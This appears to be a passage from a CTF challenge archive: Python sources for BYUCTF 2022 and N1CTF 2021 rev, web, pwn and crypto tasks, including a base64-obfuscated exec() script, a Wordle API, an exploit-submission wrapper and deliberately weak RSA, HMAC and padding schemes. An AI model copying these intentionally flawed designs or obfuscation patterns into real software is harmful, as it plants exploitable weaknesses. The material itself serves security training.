plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]
plaintext = ""
for letter in plaintextList:
plaintext += letter
key = input("Enter the encryption key. Leave blank to randomly generate.\n")
if key == "":
key = getRandomKey()
print(f"Your key is: {key}")
print(encrypt(plaintext, key))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2022/rev/FunFact/obfuscated.py | ctfs/BYUCTF/2022/rev/FunFact/obfuscated.py | import base64
string = "aW1wb3J0IHJhbmRvbSwgc3RyaW5nCiAgICAKZGVmIG9wdGlvbl9vbmUoKToKICAgIHByaW50KCJcbkp1c3Qga2lkZGluZywgaXQncyBub3QgdGhhdCBlYXN5XG4iKQogICAgbWFpbigpCiAgICAKZGVmIG9wdGlvbl90d28oKToKICAgIHJhbmRvbV9mYWN0cyA9IFsiRWFjaCBhcm0gb2YgYW4gb2N0b3B1cyBoYXMgaXRzIG93biBuZXJ2b3VzIHN5c3RlbSIsICJDb21iIGplbGxpZXMgYXJlIHRyYW5zcGFyZW50LCBiaW9sdW1pbmVzY2VudCwgYW5kIGxpdmUgaW4gdGhlIHR3aWxpZ2h0IHpvbmUiLCAiU3RhciBmaXNoIGFyZSBlY2hpbm9kZXJtcyBhbmQgZG9uJ3QgaGF2ZSBicmFpbnMiLCAiR3JlZW5sYW5kIHNoYXJrcyBhcmUgdGhlIHNsb3dlc3Qgc2hhcmtzIGFuZCBkZXZlbG9wIHBhcmFzaXRlcyBpbiB0aGVpciBleWVzIiwgIldoYWxlIHNoYXJrcyBhcmUgdGhlIGxhcmdlc3Qgc2hhcmtzLCB3aXRoIG1vdXRocyB1cCB0byAxNSBmZWV0IHdpZGUgYnV0IGFyZSBvbmx5IGZpbHRlciBmZWVkZXJzIiwgIkJhc2tpbmcgc2hhcmtzIGFyZSBhbHNvIHNoYXJrcyB3aXRoIHdpZGUgbW91dGhzIHRoYXQgYXJlIG9ubHkgZmlsdGVyIGZlZWRlcnMiLCAiVGhlcmUgYXJlIGVsZWN0cmljIHN0aW5ncmF5cyB0aGF0IGFyZSBhYmxlIHRvIHNlbmQgZWxlY3RyaWMgc2hvY2tzIHRvIHByZWRhdG9ycyBpbiBvcmRlciB0byBzdHVuIHRoZW0gYW5kIGVzY2FwZSIsICJUaGUgcGFjZmljIG9jdG9wdXMgaXMgdGhlIGxhcmdlc3Qgb2N0b3B1cyIsICJUaGVyZSBhcmUgOCBzcGVjaWVzIG9mIHNlYSB0dXJ0bGVzLCBhbHRob3VnaCBpdCBpcyBkZWJhdGVkIHRoYXQgdGhlcmUgYXJlIG9ubHkgICBMZWF0aGVyYmFjayAgT2xpdmUgUmlkZGxleSAgS2VtcCBSaWRkbGV5ICBIYXdrc2JpbGwgIExvZ2dlcmhlYWQgIEZsYXRiYWNrICBHcmVlbiAgQmxhY2sgKGFsdG91Z2ggZGViYXRlZCB0byBiZSB0aGUgc2FtZSBzcGVjaWVzIGFzIEdyZWVuKSIsICJUaGUgbGVhdGhlcmJhY2sgc2VhIHR1cnRsZSBpcyB0aGUgbGFyZ2VzdCBzcGVjaWVzIG9mIHNlYSB0dXJ0bGUsIGdyb3dpbmcgdXAgdG8gOSBmZWV0IGxvbmciLCAiVGhlIGdlbmRlciBvZiBzZWEgdHVydGxlcyBpcyBkZXBlbmRlbnQgb24gdGhlIHRlbXBlcmF0dXJlIHdoZXJlIHRoZSBlZ2dzIHdlcmUgbGFpZCIsICJTZWEgdHVydGxlcyBhcmUgTk9UIHN0cmljdGx5IGhlcmJpdm9yZXMgYnV0IGFsc28gZWF0IGplbGx5ZmlzaCIsICJTZWEgdHVydGxlcyBuZWVkIHRvIGJyZWF0aCBhaXIuIElmIHRoZXkgYXJlIHNjYXJlZCBvZmYgdGhlIGJlYWNoIGJ5IGh1bWFucyB0aGV5IGNvdWxkIHBvdGVudGlhbGx5IHN3aW0gb3V0IHRvbyBmYXIgYW5kIHRoZW4gZHJvd24gYmVmb3JlIG1ha2luZyBpdCBiYWNrIHRvIGxhbmQiLCAiSGF3a3NiaWxsIHNlYSB0dXJ0bGVzIGFyZSBodW50ZWQgZG93biBmb3IgdGhlaXIgc2hlbGxzIiwgIkJybyBob3cgYXJlIGplbGx5ZmlzaCBhbmltYWxzPz8gVGhleSBoYXZlIG5vIGJyYWlucyEgU2FtZSB3aXRoIHNlYSBzdGFycyIsICJTZWEgc3RhcnMgd2lsbCBraWxsIHRoZWlyIHByYXkgd2l0aCBhY2lkIGFuZCB0aGVuIHR1cm4gdGhlaXIgc3RvbWFjaHMgaW5zaWRlIG91dCB0byBlYXQiLCAiU2hhcmtzIGNhbiBhbHNvIHR1cm4gdGhlaXIgc3RvbWFjaHMgaW5zaWRlIG91dCB0byByZWdlcmdpdGF0ZSBmb29kIiwgIlRpZ2VyIHNoYXJrcyBoYXZlIGluY3JlZGlibHkgc2hhcnAgdGVldGggdGhhdCBjYW4gYml0ZSB0aHJvdWdoIG1ldGFsIiwgIlRpZ2VyIHNoYXJrcyBhcmUgY2FsbGVkIHRoZSBnYXJiYWdlIGd1dCBvZiB0aGUgc2VhIGFuZCB0aGVyZSBhcmUgYmVlbiBsaWNlbnNlIHBsYWNlcywgdGlyZXMsIGFuZCBvdGhlciB3ZWlyZCB0aGluZ3MgZm91bmQgaW4gdGhlaXIgc3RvbWFjaHMiLCAiU29tZSBzaGFya3MgZG9uJ3QgaGF2ZSB0byBiZSBjb25zdGFudGx5IG1vdmluZyBpbiBvcmRlciB0byBicmVhdGguIEJ1Y2NhbCBwdW1waW5nIHZzIG9ibGlnYXRlIHJhbSB2ZW50aWxhdGlvbiIsICJUaGUgb25seSBib25lcyBzaGFya3MgaGF2ZSBhcmUgdGhlaXIgamF3cy4gVGhlaXIgc2tlbGV0YWwgc3RydWN0dXJlIGlzIG1hZGUgb3V0IG9mIGNhcnRpbGFnZSIsICJUaGUgb25seSBib25lcyBhbiBvY3RvcHVzIGhhcyBpcyB0aGVpciBiZWFrLCB3aGljaCBpcyBpbiB0aGUgY2VudGVyIG9mIHRoZWlyIGFybXMiLCAiQW4gb2N0b3B1cyBjYW4gZml0IHRocm91Z2ggYW55dGhpbmcgdGhhdCB0aGVpciBiZWFrIGNhbiBmaXQgdGhyb3VnaCIsICJIYWdmaXNoIGFyZSBzbyB3ZWlyZCBndXlzLiBUaGV5IHByb2R1Y2UgYSBsb3Qgb2Ygc2xpbWUiLCAiT2N0b3B1c2VzIGFyZSBrbm93biB0byBiZSB2ZXJ5IHNtYXJ0IGFuZCB2ZXJ5IGN1cmlvdXMgY3JlYXR1cmVzLiBUaGV5IHdpbGwgaW52ZXN0aWdhdGUgYW5kIHBsYXkgd2l0aCBzY3ViYSBkaXZlcnMiLCAiVGhlIHNtYWxsZXN0IHNoYXJrIGlzIHNvbWUgdHlwZSBvZiBsYW50ZXJuIHNoYXJrIChmb3Jnb3QgdGhlIGV4YWN0IG5hbWUpIiwgIkxlbW9uIHNoYXJrcyBhcmUgbmFtZWQgc3VjaCBiZWNhdXNlIHRoZWlyIHNraW4gZmVlbHMgbGlrZSBsZW1vbiByaW5kcyIsICJDb29raWUgY3V0dGVyIHNoYXJrcyBhcmUgbmFtZWQgc3VjaCBiZWNhdXNlIHRoZWlyIHRlZXRoIHRha2Ugb3V0IHNtYWxsLCBjaXJjdWxhciBjaHVua3MsIGtpbmQgb2YgbGlrZSBhIGNvb2tpZSBjdXR0ZXIiLCAiRGVlcCBzZWEgYW5nbGVyIGZpc2g6IHRoZSBmZW1hbGUgaXMgbXVjaCwgbXVjaCBsYXJnZXIgdGhhbiB0aGUgbWFsZSIsICJJbiB0aGUgcGFzdCwgcGVvcGxlIGhhdmUgdHJpZWQgdG8gYWRkIGdyZWF0IHdoaXRlIHNoYXJrcyBpbnRvIGFxdWFyaXVtcy4gSG93ZXZlciwgdGhlIGdyZWF0IHdoaXRlcyB3b3VsZCBqdXN0IGRpZSBpZiB0aGV5IHdlcmUgcmVzdHJpY3RlZCB0byBzdWNoIGEgc21hbGwgc3BhY2UiLCAiVGhlIGxhcmdlc3QgamVsbHlmaXNoIGlzIGNhbGxlZCB0aGUgbGlvbnMgbWFuZSIsICJNb3N0IHZlbm9tb3VzIGplbGx5ZmlzaCBpcyB0aGUgYm94amVsbHlmaXNoIiwgIk1vc3QgdmVub21vdXMgb2N0b3B1cyBpcyB0aGUgYmx1ZS1yaW5nZWQgb2N0b3B1cyIsICJNb3N0IHZlbmVtb3VzIHNlYSBzbmFpbCBpcyB0aGUgY29uZSBzbmFpbCIsICJTYW5kIGRvbGxhcnMgYXJlIGFjdHVhbGx5IHNlYSB1cmNoaW5zIiwgIlRoZSBjcm93biBvZiB0aG9ybnMgaXMgYW4gZXh0cmVtZWx5IGludmFzaXZlIHNwZWNpZXMgb2Ygc2VhIHN0YXIiLCAiVGhlIHNldmVyZWQgbGltYnMgb2Ygc2VhIHN0YXJzIHdpbGwgZ3JvdyBpbnRvIGFub3RoZXIgc2VhIHN0YXIiLCAiUGVvcGxlIHdvdWxkIHRyeSB0byBraWxsIHRoZSBjcm93biBvZiB0aG9ybnMgYnkgc21hc2hpbmcgdGhlbSwgYnV0IHRoYXQgYmFja2ZpcmVkIGJlY2F1c2UgdGhlIHNldmVyZWQgbGltYnMganVzdCBiZWNhbWUgYW5vdGhlciBzZWEgc3RhciIsICJBcmNoZXIgZmlzaCB3aWxsIHNwaXQgb3V0IHdhdGVyIHRvIGtub2NrIGJ1Z3Mgb2ZmIG9mIHBsYW50cyBzbyB0aGF0IHRoZXkgY2FuIGVhdCB0aGVtIiwgIkJhYnkgc2hhcmtzIGFyZSBjYWxsZWQgcHVwcyIsICJaZWJyYSBzaGFya3MgYXJlIG1vcmUgY29tbW9ubHkga25vd24gYXMgbGVvcGFyZCBzaGFya3MgaW4gYW5kIGFyb3VuZCB0aGUgQW5kYW1hbiBTZWEsIGJ1dCB0aGlzIGlzIGNvbmZ1c2luZyBhcyB0aGVyZSBpcyBhbm90aGVyIHNwZWNpZXMgb2Ygc2hhcmsgY2FsbGVkIHRoZSBsZW9wYXJkIHNoYXJrIiwgIk9yY2FzIGFyZSB0aGUgbGFyZ2VzdCBtZW1iZXJzIG9mIHRoZSBkb2xwaGluIGZhbWlseSIsICJLaWxsZXIgd2hhbGVzIGFyZSB0aGUgbW9zdCB3aWRlbHkgZGlzdHJpYnV0ZWQgbWFtbWFscywgb3RoZXIgdGhhbiBodW1hbnMgYW5kIHBvc3NpYmx5IGJyb3duIHJhdHMsIGFjY29yZGluZyB0byBTZWFXb3JsZC4gVGhleSBsaXZlIGluIGV2ZXJ5IG9jZWFuIGFyb3VuZCB0aGUgd29ybGQgYW5kIGhhdmUgYWRhcHRlZCB0byBkaWZmZXJlbnQgY2xpbWF0ZXMsIGZyb20gdGhlIHdhcm0gd2F0ZXJzIG5lYXIgdGhlIGVxdWF0b3IgdG8gdGhlIGljeSB3YXRlcnMgb2YgdGhlIE5vcnRoIGFuZCBTb3V0aCBQb2xlIHJlZ2lvbnMiXQogICAgcmFuZG9tX251bWJlciA9IHJhbmRvbS5yYW5kaW50KDAsIDQyKQogICAgcHJpbnQoIlxuIiwgcmFuZG9tX2ZhY3RzW3JhbmRvbV9udW1iZXJdLCAiXG4iKQogICAgbWFpbigpCgpkZWYgb3B0aW9uX3RocmVlKCk6CiAgICB1c2VyX2lucHV0ID0gaW5wdXQoIlxuRmxhZz4gIikKICAKICAgIHJhbmRvbV9hcnJheSA9IHhvcigiU25vd2ZsYWtlIGVlbHMgaGF2ZSB0d28gc2V0cyBvZiBqYXdzIiwgInByZXR0eSBjcmF6eSwgaHVoPyIpIAogICAgb3RoZXJfcmFuZG9tX2FycmF5ID0gbGlzdChzdHJpbmcucHJpbnRhYmxlKQogICAga2V5ID0gb3RoZXJfcmFuZG9tX2FycmF5W3JhbmRvbV9hcnJheVswXSArIHJhbmRvbV9hcnJheVs4XV0KICAgIAogICAgZW5jcnlwdGVkID0gIiIuam9pbihbY2hyKG9yZCh4KSBeIG9yZChrZXkpKSBmb3IgeCBpbiB1c2VyX2lucHV0XSkKICAgIHByaW50KCJlbmNyeXB0ZWQ6ICIsIGVuY3J5cHRlZCkKCiAgICBpZihlbmNyeXB0ZWQgPT0gJ2clNGMkemMlZHo0Z2c7Jyk6CiAgICAgICAgcHJpbnQoIlN1Y2Nlc3MhIikKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIlxuVHJ5IGFnYWluIikKICAgICAgICBvcHRpb25fdGhyZWUoKQoKZGVmIHhvcihhLCBiKToKICAgIGtleSA9IFtdCiAgICBpID0gMAogICAgd2hpbGUgaSA8IGxlbihhKToKICAgICAgICBrZXkuYXBwZW5kKG9yZChhW2kgJSBsZW4oYSldKSBeIG9yZCgoYltpICUgbGVuKGIpXSkpKQogICAgICAgIGkgPSBpKzEKICAgIHJldHVybiBrZXkKCmRlZiBtYWluKCk6CiAgICBwcmludCgiRW50ZXIgMSB0byBwcmludCB0aGUgZmxhZyIpCiAgICBwcmludCgiRW50ZXIgMiBmb3IgYSBmdW4gZmFjdCBhYm91dCBvY2VhbiBjcmVhdHVyZXMiKQogICAgcHJpbnQoIkVudGVyIDMgdG8gY29udGludWUiKQoKICAgIHVzZXJfaW5wdXQgPSBpbnB1dCgiSW5wdXQ+ICIpCiAgICAKICAgIGlmKHVzZXJfaW5wdXQgPT0gJzEnKToKICAgICAgICBvcHRpb25fb25lKCkKICAgIGVsaWYodXNlcl9pbnB1dCA9PSAnMicpOgogICAgICAgIG9wdGlvbl90d28oKQogICAgZWxpZih1c2VyX2lucHV0ID09ICczJyk6CiAgICAgICAgb3B0aW9uX3RocmVlKCkKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkludmFsaWQgb3B0aW9uIikKICAgICAgICAKbWFpbigp"
exec(base64.b64decode(string)) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2022/web/Wordle/utils.py | ctfs/BYUCTF/2022/web/Wordle/utils.py | from werkzeug.exceptions import abort
from sql import get_sql
import hashlib
def checkSolved(guess_status):
# guess_status[g_pos] = {"letter":g_char, "state":1}
isSolved = True
for i in guess_status:
if i["state"] != 2:
isSolved = False
return isSolved
def getHashString(guess_status):
# guess_status[g_pos] = {"letter":g_char, "state":1}
passString = ''
for i in guess_status:
if i["state"] == 0:
passString += '⬛'
elif i["state"] == 1:
passString += '🟨'
elif i["state"] == 2:
passString += '🟩'
else:
passString += '?'
hashString = hashlib.md5(passString.encode('utf-8')).hexdigest()
return hashString
def get_answer_info(word_id=None):
con, cur = get_sql()
if word_id:
word = cur.execute(
"""SELECT word FROM answerList WHERE id = (?)""", (word_id,)
).fetchone()[0]
else:
word_id, word = cur.execute(
"""SELECT id, word FROM answerList ORDER BY RANDOM() LIMIT 1"""
).fetchone()
return word_id, word
def word_is_valid(word):
con, cur = get_sql()
cur.execute("""SELECT word FROM wordList WHERE word = (?)""", (word,))
return bool(cur.fetchone())
def id_or_400(request):
try:
game_id = request.get_json(force=True)["id"]
key = request.get_json(force=True)["key"]
con, cur = get_sql()
cur.execute("""SELECT key FROM game WHERE key = (?)""", (key,))
assert cur.fetchone()[0] == key
con.close()
return game_id
except (AssertionError, KeyError, TypeError):
abort(400)
def set_finished(game_id):
con, cur = get_sql()
cur.execute("""UPDATE game SET finished = true WHERE id = (?) """, (game_id,))
con.commit()
con.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2022/web/Wordle/app.py | ctfs/BYUCTF/2022/web/Wordle/app.py | import json
import uuid
from flask import Flask, render_template, request, abort, make_response
from flask_cors import CORS
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from werkzeug.middleware.proxy_fix import ProxyFix
from utils import set_finished, word_is_valid, id_or_400, get_answer_info, getHashString, checkSolved
from sql import get_sql
app = Flask(__name__)
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1)
CORS(app)
limiter = Limiter(
app,
key_func=get_remote_address,
)
def api_response(json_data):
resp = make_response(json.dumps(json_data))
resp.content_type = "application/json; charset=utf-8"
return resp
@app.context_processor
def inject_debug():
return dict(debug=app.debug)
# Frontend views
@app.route("/")
def index():
return render_template("index.html")
# API endpoints
@app.route("/api/v1/start_game/", methods=["POST"])
#@limiter.limit("4/second;120/minute;600/hour;4000/day")
def start_game():
"""
Starts a new game
"""
word_id = None
con, cur = get_sql()
key = str(uuid.uuid4())
word_id, word = get_answer_info(word_id)
cur.execute("""INSERT INTO game (word, key) VALUES (?, ?)""", (word, key))
con.commit()
con.close()
return api_response({"id": cur.lastrowid, "key": key, "wordID": word_id})
@app.route("/api/v1/guess/", methods=["POST"])
def guess_word():
try:
guess = request.get_json(force=True)["guess"]
assert len(guess) == 5
assert guess.isalpha()
assert word_is_valid(guess)
except AssertionError:
return abort(400, "Invalid word")
game_id = id_or_400(request)
con, cur = get_sql()
cur.execute(
"""SELECT word, guesses, finished FROM game WHERE id = (?)""", (game_id,)
)
answer, guesses, finished = cur.fetchone()
guesses = guesses.split(",")
if len(guesses) > 6 or finished:
return abort(403)
guesses.append(guess)
guesses = ",".join(guesses)
if guesses[0] == ",":
guesses = guesses[1:]
cur.execute("""UPDATE game SET guesses = (?) WHERE id = (?)""", (guesses, game_id))
con.commit()
con.close()
guess_status = [{"letter": g_char, "state": 0} for g_char in guess]
guessed_pos = set()
for a_pos, a_char in enumerate(answer):
if a_char == guess[a_pos]:
guessed_pos.add(a_pos)
guess_status[a_pos] = {
"letter": guess[a_pos],
"state": 2,
}
for g_pos, g_char in enumerate(guess):
if g_char in answer and guess_status[g_pos]["state"] == 0:
positions = []
f_pos = answer.find(g_char)
while f_pos != -1:
positions.append(f_pos)
f_pos = answer.find(g_char, f_pos + 1)
for pos in positions:
if pos not in guessed_pos:
guess_status[g_pos] = {
"letter": g_char,
"state": 1,
}
guessed_pos.add(pos)
break
hashString = getHashString(guess_status)
gameSolved = checkSolved(guess_status)
respObj = {
"gameSolved": gameSolved,
"hashString": hashString,
}
return api_response(respObj)
@app.route("/api/v1/finish_game/", methods=["POST"])
def finish_game():
game_id = id_or_400(request)
set_finished(game_id)
con, cur = get_sql()
cur.execute(
"""SELECT word, guesses, finished FROM game WHERE id = (?)""", (game_id,)
)
answer, guesses, finished = cur.fetchone()
guesses = guesses.split(",")
if answer == guesses[-1]:
answer = "Nice Job! byuctf{REDACTED}"
else:
answer = "Sorry! Try again."
return api_response({"answer": answer})
if __name__ == "__main__":
app.run()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/pwn/Jerry/wrapper.py | ctfs/N1CTF/2021/pwn/Jerry/wrapper.py | #!/usr/bin/python -u
# -*- coding: utf-8 -*-
import os
import sys
import time
import base64
import signal
import random
import string
import uuid
S = string.letters+string.digits+'_'
def handler(signum, frame):
print('time up!')
exit(0)
def generate_filename():
a = '/tmp/'
a += str(uuid.uuid1())
a += '.js'
return a
def banner():
print("___________ ____ ____. ")
print("\__ ___/___ _____ / _ \ | | __________________ ___.__.")
print(" | | / _ \ / \ > _ </\ | |/ __ \_ __ \_ __ < | |")
print(" | |( <_> ) Y Y \ / <_\ \/ /\__| \ ___/| | \/| | \/\___ |")
print(" |____| \____/|__|_| / \_____\ \ \________|\___ >__| |__| / ____|")
print(" \/ \/ \/ \/ ")
print(" Nu1L ")
if __name__ == "__main__":
signal.signal(signal.SIGALRM, handler)
signal.alarm(30)
try:
inputs = ""
banner()
print("Please input your base64encode exploit:")
while True:
line = sys.stdin.readline()
line = line.strip()
if line == "EOF":
break
inputs = inputs + line
inputs = base64.b64decode(inputs)
if len(inputs) > 2**12:
print('Too big')
sys.exit(0)
try:
filename = generate_filename()
with open(filename, 'wb') as tmp:
size = len(inputs)
cur_idx = 0
while(cur_idx < size):
tmp.write(inputs[cur_idx])
cur_idx += 1
os.system("/jerry %s" % filename)
sys.exit(0)
except Exception as ex:
print('error:%s' % ex)
sys.exit(0)
finally:
if os.path.exists(filename):
os.remove(filename)
sys.exit(0)
except Exception as ex:
print('error:%s' % ex)
sys.exit(0)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/pwn/easyx11/run.py | ctfs/N1CTF/2021/pwn/easyx11/run.py | #!/usr/bin/env python3
import socket
import threading
import os
import sys
import ctypes
def send(conn):
while True:
try:
data = conn.recv(4096)
os.write(sys.stdout.fileno(), data)
except:
break
conn.close()
def recv(conn):
while True:
try:
data = os.read(sys.stdin.fileno(), 4096)
conn.send(data)
except:
break
conn.close()
def main():
libc = ctypes.CDLL("libc.so.6")
libc.alarm(120)
proxy_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proxy_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
proxy_server.bind(('127.0.0.1', 0))
proxy_server.listen(50)
os.popen("DISPLAY=:{} ./x11 2>/dev/null &".format(proxy_server.getsockname()[1] - 6000))
conn, addr = proxy_server.accept()
t1 = threading.Thread(target=send, args=(conn, ))
t2 = threading.Thread(target=recv, args=(conn, ))
t1.start()
t2.start()
try:
t1.join()
t2.join()
except KeyboardInterrupt:
os._exit(0)
if __name__ == '__main__':
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/checkin/checkin.py | ctfs/N1CTF/2021/crypto/checkin/checkin.py | from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/n1token2/n1-token2.py | ctfs/N1CTF/2021/crypto/n1token2/n1-token2.py | import random
from secret import FLAG
assert FLAG.startswith('n1ctf{')
assert FLAG.endswith('}')
SECRET = bytes.fromhex(FLAG[6:-1])
assert len(SECRET) == 16
p = 251
e = [1, 20, 113, 149, 219]
y = b''
for x in range(1, p):
coeff = [random.choice(e)] + list(SECRET)
y += bytes([sum(c * pow(x, i, p) for i, c in enumerate(coeff)) % p])
print(f'Token: {y.hex()}')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/oh_my_flag/compsite.py | ctfs/N1CTF/2021/crypto/oh_my_flag/compsite.py | import cv2
orig=cv2.imread("orig.bmp")
flag=cv2.imread("flag.bmp")
yoff,xoff=400,700
for i in range(flag.shape[0]):
for j in range(flag.shape[1]):
if flag[i][j][0]==0:
assert(sum(orig[i+yoff][j+xoff]!=0)==3)
orig[i+yoff][j+xoff][0]=0
orig[i+yoff][j+xoff][1]=0
orig[i+yoff][j+xoff][2]=0
cv2.imwrite("final.bmp",orig) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/n1token1/n1-token1.py | ctfs/N1CTF/2021/crypto/n1token1/n1-token1.py | from Crypto.Util.number import *
import random
from secret import flag
def gettoken(c):
X = 0
while ((pow(X, (p-1)//2, p)!=1) or (pow(X, (q-1)//2, q)!=1)):
X = 1
while X.bit_length() < 920:
X *= random.choice(primes)
xp = pow(X, (p + 1)//4, p)
xq = pow(X, (q + 1)//4, q)
xp = random.choice([xp,-xp%p])
xq = random.choice([xq,-xq%q])
x = c * (xp*inverse(q,p)*q + xq*inverse(p,q)*p) % n
return x
def getmyPrime(nbits):
p = getPrime(nbits)
while(p%4==1):
p = getPrime(nbits)
return p
primes = random.sample(sieve_base, 920)
p = getmyPrime(512)
q = getmyPrime(512)
e = 65537
n = p*q
c = pow(bytes_to_long(flag), e, n)
with open("output.txt", "w")as f:
f.write("n = " + str(n) + "\n")
for i in range(920):
f.write("Token #"+str(i+1)+': '+str(gettoken(c))+'\n')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/n1ogin/client.py | ctfs/N1CTF/2021/crypto/n1ogin/client.py | import os
import json
import time
from Crypto.PublicKey.RSA import import_key
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac
from pwn import *
PUB_KEY = import_key(open("n1ogin.pub", "r").read())
def seal(content):
iv = os.urandom(16)
aes_key = os.urandom(24)
hmac_key = os.urandom(24)
mm = int.from_bytes(PKCS1_pad(aes_key+hmac_key), 'big')
rsa_data = pow(mm, PUB_KEY.e, PUB_KEY.n).to_bytes(2048//8, 'big')
aes = Cipher(algorithms.AES(aes_key), modes.CBC(iv))
encryptor = aes.encryptor()
cipher = encryptor.update(PKCS7_pad(content)) + encryptor.finalize()
mac = iv + cipher
for _ in range(7777):
h = hmac.HMAC(hmac_key, hashes.MD5())
h.update(mac)
mac = h.finalize()
aes_data = iv + cipher + mac
res = {
"rsa_data": rsa_data.hex(),
"aes_data": aes_data.hex()
}
return res
def PKCS1_pad(payload):
assert len(payload) == 48
return b"\x00\x02" + b"\x77"*(2048//8-2-1-48) + b"\x00" + payload
def PKCS7_pad(payload):
pad_length = 16 - len(payload)%16
payload += bytes([pad_length]) * pad_length
return payload
def login(conn):
username = input("username: ")
password = input("password: ")
content = json.dumps({
"choice": "login",
"timestamp": int(time.time()),
"nonce": os.urandom(8).hex(),
"username": username,
"password": password
})
envelope = json.dumps(seal(content.encode()))
conn.sendlineafter(b"> ", envelope.encode())
print(conn.recvline().decode())
conn.interactive()
def register(conn):
username = input("username: ")
password = input("password: ")
content = json.dumps({
"choice": "register",
"timestamp": int(time.time()),
"nonce": os.urandom(8).hex(),
"username": username,
"password": password
})
envelope = json.dumps(seal(content.encode()))
conn.sendlineafter(b"> ", envelope.encode())
print(conn.recvline().decode())
def main():
HOST = "127.0.0.1"
PORT = 7777
conn = remote(HOST, PORT)
while True:
choice = input("login/register: ")
if choice == "login":
login(conn)
elif choice == "register":
register(conn)
else:
break
conn.close()
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2021/crypto/n1ogin/server.py | ctfs/N1CTF/2021/crypto/n1ogin/server.py | import os
import json
import time
from Crypto.PublicKey.RSA import import_key
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import hashes, hmac
from secret import FLAG, SALT
# generated by `openssl genrsa -out n1ogin.pem 2048`
PRIV_KEY = import_key(open("n1ogin.pem", "r").read())
# nonce for replay attack
Nonces = set()
def cal_password_hash(password):
hash = password.encode() + SALT
for _ in range(7777): # enhanced secure
digest = hashes.Hash(hashes.MD5())
digest.update(hash)
hash = digest.finalize()
return hash
def RSA_decrypt(rsa_data):
cc = int.from_bytes(rsa_data, 'big')
mm = pow(cc, PRIV_KEY.d, PRIV_KEY.n)
message = mm.to_bytes(2048//8, 'big')
if check_PKCS1(message):
payload = message[-48:]
else:
# To prevent Bleichenbacher's attack, we continue with random bytes
# when the PKCS1 check is not passed
payload = os.urandom(48)
return payload
def check_PKCS1(message):
# message: 0x00 || 0x02 || padding string || 0x00 || (48 bytes) payload
ok = all([
message[0] == 0x00,
message[1] == 0x02,
all(byte != 0x00 for byte in message[2:-49]),
message[-49] == 0x00
])
return ok
def check_time(timestamp):
return abs(int(time.time()) - timestamp) < 30
